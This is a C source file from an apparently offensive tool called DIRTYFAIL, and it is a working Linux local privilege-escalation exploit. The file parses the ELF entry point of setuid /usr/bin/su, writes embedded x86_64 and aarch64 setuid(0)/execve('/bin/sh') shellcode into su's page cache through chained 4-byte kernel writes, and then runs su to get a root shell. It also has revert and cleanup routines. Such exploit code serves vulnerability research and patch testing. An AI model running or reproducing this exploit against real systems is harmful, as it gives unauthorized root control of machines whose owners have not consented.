531 lines
20 KiB
C
531 lines
20 KiB
C
/*
|
||
* DIRTYFAIL — exploit_su.c
|
||
*
|
||
* V4bel-style page-cache shellcode injection against /usr/bin/su.
|
||
* See exploit_su.h for the high-level rationale.
|
||
*/
|
||
|
||
#include "exploit_su.h"
|
||
#include "copyfail.h"
|
||
#include "common.h"
|
||
|
||
#ifdef __linux__
|
||
#include <elf.h>
|
||
#include <errno.h>
|
||
#include <fcntl.h>
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <sys/stat.h>
|
||
#include <unistd.h>
|
||
|
||
#define SU_PATH "/usr/bin/su"
|
||
#define STATE_PATH "/var/tmp/.dirtyfail-su.state"
|
||
#define STATE_MAGIC "DFSU0001"
|
||
|
||
/* x86_64 shellcode: setuid(0); setgid(0); execve("/bin/sh", argv, NULL)
|
||
* with argv = ["/bin/sh", NULL]. The proper argv matters: NULL argv
|
||
* makes the kernel substitute argv[0]="" (printk: "launched '/bin/sh'
|
||
* with NULL argv: empty string added"), and bash/sh-as-init-script
|
||
* with empty argv[0] doesn't read commands from stdin reliably.
|
||
*
|
||
* Layout:
|
||
* 0x00 xor rdi, rdi ; mov eax, 105 ; syscall — setuid(0) [10]
|
||
* 0x0a xor rdi, rdi ; mov eax, 106 ; syscall — setgid(0) [10]
|
||
* 0x14 mov rbx, "/bin/sh\0" ; push rbx — pathname on stack [11]
|
||
* 0x1f mov r9, rsp — r9 = path ptr [3]
|
||
* 0x22 xor rax, rax ; push rax ; push r9 — argv = [path,NULL][6]
|
||
* 0x28 mov rsi, rsp ; mov rdi, r9 — argv, pathname [6]
|
||
* 0x2e xor rdx, rdx ; mov eax, 0x3b ; syscall — envp=NULL, execve [10]
|
||
*
|
||
* Total: 56 bytes = 14 chained 4-byte writes via cf_4byte_write. */
|
||
__attribute__((unused))
|
||
static const unsigned char shellcode_x86_64[56] = {
|
||
/* setuid(0) — 10 bytes */
|
||
0x48,0x31,0xff,
|
||
0xb8,0x69,0x00,0x00,0x00,
|
||
0x0f,0x05,
|
||
/* setgid(0) — 10 bytes */
|
||
0x48,0x31,0xff,
|
||
0xb8,0x6a,0x00,0x00,0x00,
|
||
0x0f,0x05,
|
||
/* mov rbx, "/bin/sh\0" ; push rbx — 11 bytes */
|
||
0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,
|
||
0x53,
|
||
/* mov r9, rsp — 3 bytes */
|
||
0x49,0x89,0xe1,
|
||
/* xor rax, rax ; push rax ; push r9 — 6 bytes */
|
||
0x48,0x31,0xc0,
|
||
0x50,
|
||
0x41,0x51,
|
||
/* mov rsi, rsp ; mov rdi, r9 — 6 bytes */
|
||
0x48,0x89,0xe6,
|
||
0x4c,0x89,0xcf,
|
||
/* xor rdx, rdx ; mov eax, 0x3b ; syscall — 10 bytes */
|
||
0x48,0x31,0xd2,
|
||
0xb8,0x3b,0x00,0x00,0x00,
|
||
0x0f,0x05,
|
||
};
|
||
|
||
/* aarch64 shellcode: same semantics as x86_64 above (setuid(0),
|
||
* setgid(0), execve("/bin/sh", ["/bin/sh", NULL], NULL)) encoded for
|
||
* the aarch64 syscall ABI (x8 = syscall number, x0..x5 = args,
|
||
* `svc #0` to invoke). 20 instructions × 4 bytes = 80 bytes.
|
||
*
|
||
* STATUS: UNTESTED on hardware. The bytes were derived by manually
|
||
* cross-referencing each instruction against the ARMv8-A reference
|
||
* manual; the matching assembly source ships in
|
||
* `tools/exploit_su_aarch64.S` so anyone with `aarch64-linux-gnu-as`
|
||
* can regenerate and verify. Runtime is gated behind the env var
|
||
* `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` to prevent accidental use. */
|
||
__attribute__((unused))
|
||
static const unsigned char shellcode_aarch64[80] = {
|
||
/* setuid(0) — movz x0,#0 ; movz x8,#146 ; svc #0 */
|
||
0x00,0x00,0x80,0xd2,
|
||
0x48,0x12,0x80,0xd2,
|
||
0x01,0x00,0x00,0xd4,
|
||
/* setgid(0) — movz x0,#0 ; movz x8,#144 ; svc #0 */
|
||
0x00,0x00,0x80,0xd2,
|
||
0x08,0x12,0x80,0xd2,
|
||
0x01,0x00,0x00,0xd4,
|
||
/* "/bin/sh\0" -> x9 (4× movz/movk lsl) */
|
||
0xe9,0x45,0x8c,0xd2, /* movz x9, #0x622f */
|
||
0x29,0xcd,0xad,0xf2, /* movk x9, #0x6e69, lsl 16 */
|
||
0xe9,0x65,0xce,0xf2, /* movk x9, #0x732f, lsl 32 */
|
||
0x09,0x0d,0xe0,0xf2, /* movk x9, #0x0068, lsl 48 */
|
||
/* push string : sp -= 16 ; *sp = x9 */
|
||
0xe9,0x0f,0x1f,0xf8, /* str x9, [sp, #-16]! */
|
||
0xe9,0x03,0x00,0x91, /* mov x9, sp */
|
||
/* argv = [x9, NULL] on stack */
|
||
0xff,0x43,0x00,0xd1, /* sub sp, sp, #16 */
|
||
0xff,0x07,0x00,0xf9, /* str xzr, [sp, #8] */
|
||
0xe9,0x03,0x00,0xf9, /* str x9, [sp, #0] */
|
||
/* execve(x9, sp, NULL) — syscall 221 */
|
||
0xe0,0x03,0x09,0xaa, /* mov x0, x9 */
|
||
0xe1,0x03,0x00,0x91, /* mov x1, sp */
|
||
0xe2,0x03,0x1f,0xaa, /* mov x2, xzr */
|
||
0xa8,0x1b,0x80,0xd2, /* movz x8, #221 */
|
||
0x01,0x00,0x00,0xd4, /* svc #0 */
|
||
};
|
||
|
||
/* Build-time arch selection: pick the right shellcode at compile time
|
||
* based on the target architecture. SHELLCODE_LEN must be a multiple
|
||
* of 4 since cf_4byte_write plants 4 bytes at a time. The unused
|
||
* sibling shellcode array is suppressed with __attribute__((unused))
|
||
* up at its definition. */
|
||
#if defined(__x86_64__) || defined(__amd64__)
|
||
# define SHELLCODE_BYTES shellcode_x86_64
|
||
# define SHELLCODE_LEN ((int)sizeof(shellcode_x86_64))
|
||
# define SHELLCODE_ARCH "x86_64"
|
||
# define SHELLCODE_TESTED 1
|
||
# define SHELLCODE_PRESENT 1
|
||
#elif defined(__aarch64__)
|
||
# define SHELLCODE_BYTES shellcode_aarch64
|
||
# define SHELLCODE_LEN ((int)sizeof(shellcode_aarch64))
|
||
# define SHELLCODE_ARCH "aarch64"
|
||
# define SHELLCODE_TESTED 0
|
||
# define SHELLCODE_PRESENT 1
|
||
#else
|
||
# define SHELLCODE_BYTES shellcode_x86_64 /* placeholder, never used */
|
||
# define SHELLCODE_LEN 0
|
||
# define SHELLCODE_ARCH "unknown"
|
||
# define SHELLCODE_TESTED 0
|
||
# define SHELLCODE_PRESENT 0
|
||
#endif
|
||
|
||
/* Convenience name kept matching pre-existing usages. */
|
||
#define shellcode SHELLCODE_BYTES
|
||
|
||
/* State file: stash original entry-point bytes so we can revert. */
|
||
struct su_state {
|
||
char magic[8]; /* "DFSU0001" */
|
||
char target_path[256];
|
||
uint64_t file_offset;
|
||
uint64_t original_len; /* always SHELLCODE_LEN, but explicit for forward-compat */
|
||
unsigned char original[SHELLCODE_LEN];
|
||
};
|
||
|
||
/* ---------------------------------------------------------------- *
|
||
* ELF parsing — find the file offset of the entry point in /usr/bin/su.
|
||
* ---------------------------------------------------------------- */
|
||
|
||
static bool resolve_entry_offset(const char *path, off_t *out_offset)
|
||
{
|
||
int fd = open(path, O_RDONLY);
|
||
if (fd < 0) {
|
||
log_bad("open %s: %s", path, strerror(errno));
|
||
return false;
|
||
}
|
||
|
||
Elf64_Ehdr ehdr;
|
||
if (pread(fd, &ehdr, sizeof(ehdr), 0) != sizeof(ehdr)) {
|
||
log_bad("read ELF header: %s", strerror(errno));
|
||
close(fd); return false;
|
||
}
|
||
if (memcmp(ehdr.e_ident, ELFMAG, 4) != 0) {
|
||
log_bad("%s is not an ELF file", path);
|
||
close(fd); return false;
|
||
}
|
||
if (ehdr.e_ident[EI_CLASS] != ELFCLASS64) {
|
||
log_bad("%s is not 64-bit ELF (this exploit requires x86_64)", path);
|
||
close(fd); return false;
|
||
}
|
||
if (ehdr.e_machine != EM_X86_64) {
|
||
log_bad("%s is not x86_64 (machine=0x%x); shellcode is x86_64-only",
|
||
path, ehdr.e_machine);
|
||
close(fd); return false;
|
||
}
|
||
|
||
/* Walk program headers to find the LOAD segment containing e_entry. */
|
||
Elf64_Phdr phdr;
|
||
bool found = false;
|
||
for (int i = 0; i < ehdr.e_phnum; i++) {
|
||
off_t poff = ehdr.e_phoff + (off_t)i * ehdr.e_phentsize;
|
||
if (pread(fd, &phdr, sizeof(phdr), poff) != sizeof(phdr)) {
|
||
log_bad("read phdr[%d]: %s", i, strerror(errno));
|
||
close(fd); return false;
|
||
}
|
||
if (phdr.p_type != PT_LOAD) continue;
|
||
if (!(phdr.p_flags & PF_X)) continue; /* must be executable */
|
||
if (ehdr.e_entry < phdr.p_vaddr) continue;
|
||
if (ehdr.e_entry >= phdr.p_vaddr + phdr.p_memsz) continue;
|
||
*out_offset = phdr.p_offset + (ehdr.e_entry - phdr.p_vaddr);
|
||
found = true;
|
||
break;
|
||
}
|
||
close(fd);
|
||
|
||
if (!found) {
|
||
log_bad("could not locate executable LOAD segment containing e_entry "
|
||
"(0x%llx) in %s", (unsigned long long)ehdr.e_entry, path);
|
||
return false;
|
||
}
|
||
|
||
/* Sanity: ensure the 48-byte plant region fits inside the file. */
|
||
struct stat st;
|
||
if (stat(path, &st) < 0) { log_bad("stat: %s", strerror(errno)); return false; }
|
||
if ((uint64_t)*out_offset + SHELLCODE_LEN > (uint64_t)st.st_size) {
|
||
log_bad("entry offset 0x%llx + %d would overflow %s (size 0x%llx)",
|
||
(unsigned long long)*out_offset, SHELLCODE_LEN,
|
||
path, (unsigned long long)st.st_size);
|
||
return false;
|
||
}
|
||
return true;
|
||
}
|
||
|
||
/* ---------------------------------------------------------------- *
|
||
* Backup / revert
|
||
* ---------------------------------------------------------------- */
|
||
|
||
static bool save_original(const char *path, off_t off)
|
||
{
|
||
int fd = open(path, O_RDONLY);
|
||
if (fd < 0) { log_bad("open %s: %s", path, strerror(errno)); return false; }
|
||
|
||
struct su_state st = {0};
|
||
memcpy(st.magic, STATE_MAGIC, 8);
|
||
strncpy(st.target_path, path, sizeof(st.target_path) - 1);
|
||
st.file_offset = (uint64_t)off;
|
||
st.original_len = SHELLCODE_LEN;
|
||
|
||
if (pread(fd, st.original, SHELLCODE_LEN, off) != SHELLCODE_LEN) {
|
||
log_bad("pread original 48 bytes: %s", strerror(errno));
|
||
close(fd); return false;
|
||
}
|
||
close(fd);
|
||
|
||
int sfd = open(STATE_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||
if (sfd < 0) { log_bad("open %s: %s", STATE_PATH, strerror(errno)); return false; }
|
||
if (write(sfd, &st, sizeof(st)) != sizeof(st)) {
|
||
log_bad("write state: %s", strerror(errno));
|
||
close(sfd); unlink(STATE_PATH); return false;
|
||
}
|
||
close(sfd);
|
||
log_ok("stashed original %d bytes from %s+0x%llx → %s",
|
||
SHELLCODE_LEN, path, (unsigned long long)off, STATE_PATH);
|
||
return true;
|
||
}
|
||
|
||
/* Read state, return false if missing or malformed. */
|
||
static bool load_state(struct su_state *out)
|
||
{
|
||
int sfd = open(STATE_PATH, O_RDONLY);
|
||
if (sfd < 0) {
|
||
log_bad("open %s: %s", STATE_PATH, strerror(errno));
|
||
return false;
|
||
}
|
||
if (read(sfd, out, sizeof(*out)) != sizeof(*out)) {
|
||
log_bad("read state: %s", strerror(errno));
|
||
close(sfd); return false;
|
||
}
|
||
close(sfd);
|
||
if (memcmp(out->magic, STATE_MAGIC, 8) != 0) {
|
||
log_bad("state file magic mismatch");
|
||
return false;
|
||
}
|
||
if (out->original_len != SHELLCODE_LEN) {
|
||
log_bad("state file original_len=%llu (expected %d)",
|
||
(unsigned long long)out->original_len, SHELLCODE_LEN);
|
||
return false;
|
||
}
|
||
return true;
|
||
}
|
||
|
||
/* ---------------------------------------------------------------- *
|
||
* Plant + verify
|
||
* ---------------------------------------------------------------- */
|
||
|
||
static bool plant_shellcode(const char *path, off_t base_off,
|
||
const unsigned char *bytes, size_t len)
|
||
{
|
||
if (len % 4 != 0) { log_bad("plant len %zu not multiple of 4", len); return false; }
|
||
|
||
log_step("planting %zu bytes of shellcode via %zu chained 4-byte writes",
|
||
len, len / 4);
|
||
|
||
for (size_t i = 0; i < len; i += 4) {
|
||
unsigned char chunk[4];
|
||
memcpy(chunk, bytes + i, 4);
|
||
if (!cf_4byte_write(path, base_off + (off_t)i, chunk)) {
|
||
log_bad("cf_4byte_write[%zu] failed at offset 0x%llx",
|
||
i / 4, (unsigned long long)(base_off + i));
|
||
return false;
|
||
}
|
||
/* Compact progress dot per chunk; no full-line spam. */
|
||
fputc('.', stdout); fflush(stdout);
|
||
}
|
||
fputc('\n', stdout);
|
||
return true;
|
||
}
|
||
|
||
static bool verify_plant(const char *path, off_t off,
|
||
const unsigned char *expected, size_t len)
|
||
{
|
||
int fd = open(path, O_RDONLY);
|
||
if (fd < 0) { log_bad("verify open: %s", strerror(errno)); return false; }
|
||
unsigned char got[SHELLCODE_LEN];
|
||
if (pread(fd, got, len, off) != (ssize_t)len) {
|
||
log_bad("verify pread: %s", strerror(errno));
|
||
close(fd); return false;
|
||
}
|
||
close(fd);
|
||
return memcmp(got, expected, len) == 0;
|
||
}
|
||
|
||
/* try_revert_su_pages: best-effort revert. We don't have CAP_SYS_ADMIN
|
||
* to drop_caches in init ns from an unprivileged process, but
|
||
* POSIX_FADV_DONTNEED on a freshly-opened fd typically evicts the
|
||
* affected pages on most kernels. */
|
||
static bool try_revert_su_pages(const char *path, off_t off,
|
||
const unsigned char *original, size_t len)
|
||
{
|
||
if (!plant_shellcode(path, off, original, len)) {
|
||
log_warn("revert plant failed — page cache may still be poisoned");
|
||
return false;
|
||
}
|
||
int fd = open(path, O_RDONLY);
|
||
if (fd >= 0) {
|
||
#ifdef POSIX_FADV_DONTNEED
|
||
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||
#endif
|
||
close(fd);
|
||
}
|
||
/* Verify the revert landed correctly. */
|
||
if (!verify_plant(path, off, original, len)) {
|
||
log_warn("revert verification failed — bytes do not match original");
|
||
return false;
|
||
}
|
||
return true;
|
||
}
|
||
|
||
/* ---------------------------------------------------------------- *
|
||
* Public entry points
|
||
* ---------------------------------------------------------------- */
|
||
|
||
df_result_t exploit_su_shellcode(bool do_shell)
|
||
{
|
||
log_step("Copy Fail — /usr/bin/su page-cache shellcode injection");
|
||
|
||
const char *target = getenv("DIRTYFAIL_SU_PATH");
|
||
if (!target || !*target) target = SU_PATH;
|
||
|
||
/* Architecture preflight. We ship two shellcodes:
|
||
* x86_64 — tested end-to-end on Fedora 44 (real-root proven).
|
||
* aarch64 — manually encoded from the ARMv8-A reference,
|
||
* never executed on hardware. Gated behind an env
|
||
* var so an aarch64 user has to opt in explicitly.
|
||
* Anything else has no shellcode and aborts here. */
|
||
if (!SHELLCODE_PRESENT) {
|
||
log_bad("no shellcode for this architecture (built for %s); "
|
||
"DIRTYFAIL --exploit-su currently supports x86_64 and "
|
||
"aarch64 only.", SHELLCODE_ARCH);
|
||
return DF_PRECOND_FAIL;
|
||
}
|
||
if (!SHELLCODE_TESTED && !getenv("DIRTYFAIL_AARCH64_TRUST_UNTESTED")) {
|
||
log_bad("running on %s, where the shipped shellcode has NOT been "
|
||
"tested on hardware. Aborting to avoid bricking /usr/bin/su.",
|
||
SHELLCODE_ARCH);
|
||
log_hint("if you've reviewed tools/exploit_su_aarch64.S and want to "
|
||
"proceed at your own risk, set "
|
||
"DIRTYFAIL_AARCH64_TRUST_UNTESTED=1 in the environment.");
|
||
log_hint("recommended verification: assemble the .S file with "
|
||
"`aarch64-linux-gnu-as` and confirm the byte sequence "
|
||
"matches `shellcode_aarch64[]` in src/exploit_su.c.");
|
||
return DF_PRECOND_FAIL;
|
||
}
|
||
if (!SHELLCODE_TESTED) {
|
||
log_warn("DIRTYFAIL_AARCH64_TRUST_UNTESTED=1: proceeding with "
|
||
"untested aarch64 shellcode (%d bytes). If /usr/bin/su "
|
||
"breaks, run `dirtyfail --cleanup-su` (or reboot) to "
|
||
"evict the modified page from the cache.", SHELLCODE_LEN);
|
||
}
|
||
|
||
struct stat st;
|
||
if (stat(target, &st) < 0) {
|
||
log_bad("stat %s: %s", target, strerror(errno));
|
||
return DF_PRECOND_FAIL;
|
||
}
|
||
if (!(st.st_mode & S_ISUID) || st.st_uid != 0) {
|
||
log_bad("%s is not setuid root (mode=0%o uid=%u)",
|
||
target, st.st_mode, st.st_uid);
|
||
log_hint("the exploit relies on the setuid bit; without it, the "
|
||
"shellcode runs at our existing uid and gains nothing.");
|
||
return DF_PRECOND_FAIL;
|
||
}
|
||
|
||
off_t entry_off;
|
||
if (!resolve_entry_offset(target, &entry_off)) return DF_TEST_ERROR;
|
||
log_ok("/usr/bin/su entry point at file offset 0x%llx",
|
||
(unsigned long long)entry_off);
|
||
|
||
log_warn("about to overwrite %d bytes of %s in the page cache",
|
||
SHELLCODE_LEN, target);
|
||
log_warn("if this fails or the shellcode crashes, /usr/bin/su will be "
|
||
"broken system-wide until --cleanup-su or `drop_caches`");
|
||
|
||
/* CRITICAL: disable libc stdin buffering before the typed_confirm
|
||
* read. Otherwise fgets() pulls extra bytes from the pipe into libc's
|
||
* buffer, which is lost when execve() replaces our process — the
|
||
* exec'd /bin/sh then sees empty stdin and exits without running
|
||
* any commands the user piped in. With _IONBF, fgets does 1-byte
|
||
* reads and leaves the kernel pipe intact. */
|
||
setvbuf(stdin, NULL, _IONBF, 0);
|
||
|
||
if (!typed_confirm("DIRTYFAIL")) {
|
||
log_bad("confirmation declined");
|
||
return DF_OK;
|
||
}
|
||
|
||
if (!save_original(target, entry_off)) return DF_TEST_ERROR;
|
||
|
||
if (!plant_shellcode(target, entry_off, shellcode, SHELLCODE_LEN)) {
|
||
log_warn("plant failed mid-stream — attempting revert");
|
||
struct su_state st_in;
|
||
if (load_state(&st_in) &&
|
||
try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) {
|
||
unlink(STATE_PATH);
|
||
}
|
||
return DF_EXPLOIT_FAIL;
|
||
}
|
||
|
||
if (!verify_plant(target, entry_off, shellcode, SHELLCODE_LEN)) {
|
||
log_bad("verify: page cache does not match planted shellcode "
|
||
"(kernel likely patched, or AF_ALG/algif_aead blocked)");
|
||
struct su_state st_in;
|
||
if (load_state(&st_in) &&
|
||
try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) {
|
||
unlink(STATE_PATH);
|
||
}
|
||
return DF_EXPLOIT_FAIL;
|
||
}
|
||
log_ok("page cache of %s now contains shellcode at entry point", target);
|
||
|
||
if (!do_shell) {
|
||
log_step("--no-shell: reverting via DONTNEED+rewrite");
|
||
struct su_state st_in;
|
||
if (load_state(&st_in) &&
|
||
try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) {
|
||
log_ok("page cache reverted successfully");
|
||
unlink(STATE_PATH);
|
||
} else {
|
||
log_warn("revert may have failed — run `sudo dirtyfail --cleanup-su` "
|
||
"or reboot before using su again");
|
||
}
|
||
return DF_EXPLOIT_OK;
|
||
}
|
||
|
||
log_ok("invoking %s — kernel will exec setuid-root, jump to our shellcode, "
|
||
"and drop a /bin/sh root shell", target);
|
||
log_hint("when you exit the shell, run `sudo dirtyfail --cleanup-su` to "
|
||
"restore /usr/bin/su (or reboot — page cache is RAM-only)");
|
||
execl(target, "su", (char *)NULL);
|
||
log_bad("execl: %s", strerror(errno));
|
||
return DF_EXPLOIT_FAIL;
|
||
}
|
||
|
||
/* Describe state file if present, for `--list-state`. Returns true if
|
||
* an exploit-su state file was found and described, false if absent.
|
||
* Silent when file is missing (the normal case). */
|
||
bool exploit_su_list_state(void)
|
||
{
|
||
struct stat ignored;
|
||
if (stat(STATE_PATH, &ignored) < 0) return false; /* clean state */
|
||
struct su_state st_in;
|
||
if (!load_state(&st_in)) return false;
|
||
log_warn("/usr/bin/su shellcode planted — state file %s", STATE_PATH);
|
||
log_hint(" target: %s, entry-point file offset: 0x%llx",
|
||
st_in.target_path, (unsigned long long)st_in.file_offset);
|
||
log_hint(" original %llu bytes stashed.",
|
||
(unsigned long long)st_in.original_len);
|
||
log_hint(" the page cache currently has x86_64 setuid+execve(/bin/sh)");
|
||
log_hint(" shellcode in place of the above. Revert with `--cleanup-su`.");
|
||
return true;
|
||
}
|
||
|
||
df_result_t cleanup_su_shellcode(void)
|
||
{
|
||
log_step("--cleanup-su: restore /usr/bin/su entry-point bytes from %s",
|
||
STATE_PATH);
|
||
|
||
struct su_state st_in;
|
||
if (!load_state(&st_in)) return DF_TEST_ERROR;
|
||
|
||
log_hint("target: %s, file_offset: 0x%llx", st_in.target_path,
|
||
(unsigned long long)st_in.file_offset);
|
||
|
||
if (!try_revert_su_pages(st_in.target_path, (off_t)st_in.file_offset,
|
||
st_in.original, SHELLCODE_LEN)) {
|
||
log_bad("revert failed — manual fix needed: "
|
||
"`echo 3 | sudo tee /proc/sys/vm/drop_caches`");
|
||
return DF_TEST_ERROR;
|
||
}
|
||
|
||
if (unlink(STATE_PATH) == 0) {
|
||
log_ok("page cache restored and state file removed");
|
||
} else {
|
||
log_warn("page cache restored but %s could not be removed: %s",
|
||
STATE_PATH, strerror(errno));
|
||
}
|
||
return DF_OK;
|
||
}
|
||
|
||
#else /* !__linux__ */
|
||
|
||
df_result_t exploit_su_shellcode(bool do_shell)
|
||
{
|
||
(void)do_shell;
|
||
return DF_TEST_ERROR;
|
||
}
|
||
|
||
df_result_t cleanup_su_shellcode(void)
|
||
{
|
||
return DF_TEST_ERROR;
|
||
}
|
||
|
||
bool exploit_su_list_state(void)
|
||
{
|
||
return false;
|
||
}
|
||
|
||
#endif
|